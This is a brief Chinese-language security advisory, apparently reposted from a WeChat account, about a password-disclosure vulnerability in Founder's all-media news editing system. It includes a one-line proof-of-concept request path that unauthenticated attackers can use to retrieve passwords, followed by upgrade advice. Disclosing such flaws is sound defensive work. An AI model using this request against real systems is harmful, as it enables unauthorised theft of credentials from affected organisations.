方正全媒体采编系统密码泄露漏洞

2024年5月20日23:11:55评论58 views字数 422阅读1分24秒阅读模式

0x00 漏洞编号

0x01 危险等级

0x02 漏洞概述

方正全媒体新闻采编系统是一个面向媒体深度融合的技术平台，它以大数据和AI技术为支撑，集成了指挥中心、采集中心、编辑中心、发布中心、绩效考核中心、资料中心等多个功能，全面承载“策采编审发存传评”的融媒体业务流程。

方正全媒体采编系统密码泄露漏洞

0x03 漏洞详情

漏洞类型：密码泄露

影响：获取敏感信息

简述：方正全媒体新闻采编系统存在密码泄露漏洞，未授权的攻击者可以通过该漏洞获取密码信息。

0x04 影响版本

0x05 POC

{URL}/newsedit/assess/syn.do?type=org

仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本，建议用户升级到安全版本：

http://www.founder.com.cn/

原文始发于微信公众号（浅安安全）：漏洞预警 | 方正全媒体采编系统密码泄露漏洞

暂无